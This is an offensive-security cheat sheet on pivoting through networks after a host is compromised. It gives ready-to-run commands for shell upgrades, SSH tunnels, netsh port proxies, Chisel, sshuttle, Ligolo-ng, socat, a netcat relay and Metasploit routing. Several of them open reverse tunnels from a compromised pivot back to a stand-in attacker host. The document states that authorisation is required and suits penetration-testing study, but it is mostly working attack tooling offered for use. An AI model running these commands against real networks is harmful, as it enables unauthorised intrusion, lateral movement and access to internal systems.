Pivoting Cheatsheet: Getting From Here to There (Through Everything in Between)

Category: Cheat Sheets

Tags: pivoting, tunneling, port-forwarding, ssh, lateral-movement

The initial foothold is never the final target. In any real assessment or investigation, the system you land on is merely the doorstep -- the interesting things are deeper in the network, behind firewalls and segmentation that the initial compromise has conveniently placed you behind. Pivoting is the art of turning that single compromised host into a gateway to everything else.

This cheatsheet covers every practical pivoting technique from SSH tunnels through modern tools like Chisel and Ligolo-ng. Some are elegant, some are held together with named pipes and optimism. All of them work.

All techniques described here require explicit authorisation. Pivoting through networks without permission is a fast track to a very specific kind of career change.

Shell Upgrades

Before pivoting anywhere, upgrade from whatever half-functional shell you landed in. A raw netcat shell will fight you at every step -- tab completion, arrow keys, and Ctrl+C all behave badly.

Spawn an Interactive Shell

python3 -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'
ruby -e 'exec "/bin/sh"'
perl -e 'exec "/bin/sh";'
/bin/bash -i

Full TTY Upgrade

# Step 1: Spawn PTY in your shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm-256color

# Step 2: Background the shell
# Press Ctrl+Z

# Step 3: On your attacker box
stty raw -echo; fg

# Step 4: Back in the shell
reset
export SHELL=bash
stty rows 40 columns 120

This gives you a fully interactive shell with tab completion, command history, and proper signal handling. The difference between a raw shell and a full TTY is the difference between typing blindfolded and actually seeing what you're doing.

SSH Port Forwarding

SSH is the Swiss Army knife of pivoting -- widely available, encrypted by default, and understood by every network admin (which means it's rarely blocked). Three modes cover most scenarios.

Local Port Forward

Forwards a port on your attacker machine through the pivot to reach the target. Use when the target is reachable from the pivot but not from your machine.

# Syntax: ssh -L [local_port]:[target]:[target_port] [user]@[pivot]
ssh -fNL 1337:victim.internal:22 pivoter@pivot.target

# Now connect to the target through your local port:
ssh admin@localhost -p 1337

Example scenario: The pivot can reach a database server on 10.10.10.50:3306, but you can't. Forward it locally:

ssh -fNL 3306:10.10.10.50:3306 user@pivot.target
mysql -h 127.0.0.1 -P 3306 -u dbuser -p

Remote Port Forward

The reverse -- the pivot connects back to you and exposes a target's port on your machine. Use when the pivot can reach both you and the target, but you can't initiate connections to the pivot.

# Run this ON the pivot:
ssh -fNR 1337:victim.internal:22 attacker@attacker.ip

# Then on your attacker machine:
ssh admin@localhost -p 1337

Dynamic Port Forward (SOCKS Proxy)

Creates a SOCKS proxy through the pivot, letting you route arbitrary traffic into the target network. The most flexible option when you need to reach multiple services.

ssh user@pivot.target -D 9050 -fN

# Route tools through the proxy:
proxychains nmap -sT -Pn victim.internal
proxychains ssh admin@victim.internal
proxychains curl http://internal-webapp:8080

Configure /etc/proxychains4.conf:

[ProxyList]
socks5 127.0.0.1 9050

SSH Flags Reference

ProxyJump (Multi-Hop)

For chaining through multiple pivots without setting up individual tunnels:

# Command line:
ssh -J user1@pivot1,user2@pivot2 admin@final-target

# SSH config (cleaner for repeated use):
# ~/.ssh/config
Host final-target
    HostName 10.10.10.50
    User admin
    ProxyJump user1@pivot1,user2@pivot2

Windows Pivoting

When the pivot host is Windows, SSH might not be available. These alternatives work with built-in tools.

netsh Port Proxy

Built into every modern Windows installation. No tools to upload, no software to install.

REM Forward local port 4000 to victim's port 22
netsh interface portproxy add v4tov4 ^
    listenport=4000 listenaddress=0.0.0.0 ^
    connectport=22 connectaddress=10.10.10.50

REM Connect from attacker:
ssh admin@pivot-ip -p 4000

REM List all port proxies:
netsh interface portproxy show all

REM Clean up:
netsh interface portproxy delete v4tov4 ^
    listenport=4000 listenaddress=0.0.0.0

Note: You may need to add a firewall rule to allow inbound connections on the listening port:

netsh advfirewall firewall add rule name="Pivot" ^
    dir=in action=allow protocol=tcp localport=4000

PowerShell Remoting

# Direct session:
Enter-PSSession -ComputerName target.internal

# Warning: Double-hop (PSSession through PSSession) fails due to
# credential delegation limitations. Use CredSSP or Kerberos
# constrained delegation to work around this.

Tool-Based Pivoting

When SSH isn't available or the situation demands something more capable, these tools fill the gap.

Chisel (HTTP Tunnel)

Chisel creates TCP tunnels over HTTP, making it ideal for environments where only web traffic is allowed through firewalls.

# Start the server on your attacker machine:
chisel server -p 8080 --reverse

# Run the client on the pivot:
chisel client attacker-ip:8080 R:1337:victim.internal:22

# Connect through the tunnel:
ssh admin@localhost -p 1337

# SOCKS proxy mode (route all traffic):
chisel client attacker-ip:8080 R:socks
# Then use proxychains with socks5 127.0.0.1 1080

Chisel is a single binary, cross-platform, and tunnels through HTTP -- which means it works in environments where everything except ports 80 and 443 is blocked.

sshuttle (Transparent Proxy)

sshuttle creates a transparent VPN-like tunnel through SSH. No configuration on the pivot beyond SSH access.

# Route all traffic to the target subnet through the pivot:
sshuttle -r user@pivot.target 10.10.10.0/24

# Multiple subnets:
sshuttle -r user@pivot.target 10.10.10.0/24 172.16.0.0/16

# Exclude specific hosts:
sshuttle -r user@pivot.target 10.10.10.0/24 -x 10.10.10.1

# DNS through the tunnel:
sshuttle --dns -r user@pivot.target 10.10.10.0/24

The beauty of sshuttle is transparency -- your tools don't need proxychains or SOCKS configuration. They just work as if you're on the target network.

Ligolo-ng

For complex multi-hop pivoting scenarios, Ligolo-ng provides a clean interface and persistent tunnels.

# On attacker (proxy server):
ligolo-proxy -selfcert

# On pivot (agent):
ligolo-agent -connect attacker-ip:11601 -ignore-cert

# In the Ligolo interface:
ligolo >> session              # Select active session
ligolo >> ifconfig             # View target interfaces
ligolo >> start                # Start the tunnel

# Add route on attacker to reach target network:
sudo ip route add 10.10.10.0/24 dev ligolo

Socat

Simple and effective for single-port forwarding when netcat isn't enough.

# Forward connections on port 4000 to victim's port 22:
socat TCP-LISTEN:4000,fork TCP:victim.internal:22

# Connect from attacker:
ssh admin@pivot-ip -p 4000

Netcat Relay

When all you have is netcat and determination:

# On pivot -- relay from port 4000 to victim:22
cd /tmp && mknod backpipe p
nc -lvp 4000 0<backpipe | nc -v victim.internal 22 1>backpipe

# Connect from attacker:
ssh admin@pivot-ip -p 4000

Metasploit Pivoting

If you already have a Meterpreter session, Metasploit's built-in pivoting is the fastest option.

Port Forward

meterpreter > portfwd add -l 4000 -p 22 -r victim.internal
# Now: ssh admin@127.0.0.1 -p 4000

Autoroute + SOCKS

meterpreter > run post/multi/manage/autoroute SUBNET=10.10.10.0 CMD=add
meterpreter > background

msf > use auxiliary/server/socks_proxy
msf > set SRVPORT 9050
msf > run -j
# Now use proxychains with socks5 127.0.0.1 9050

msf > use auxiliary/scanner/portscan/tcp
msf > set RHOSTS 10.10.10.0/24
msf > set PORTS 22,80,443,445,3389
msf > run

Quick Decision Guide

What's Next

• Offensive Security 101: The Attack Lifecycle -- where pivoting fits in the bigger picture
• Active Directory Attacks -- what you do after you've pivoted into the domain
• Netcat Cheatsheet -- the tool that makes relay pivoting possible
• Nmap Cheatsheet -- scan the network you've just pivoted into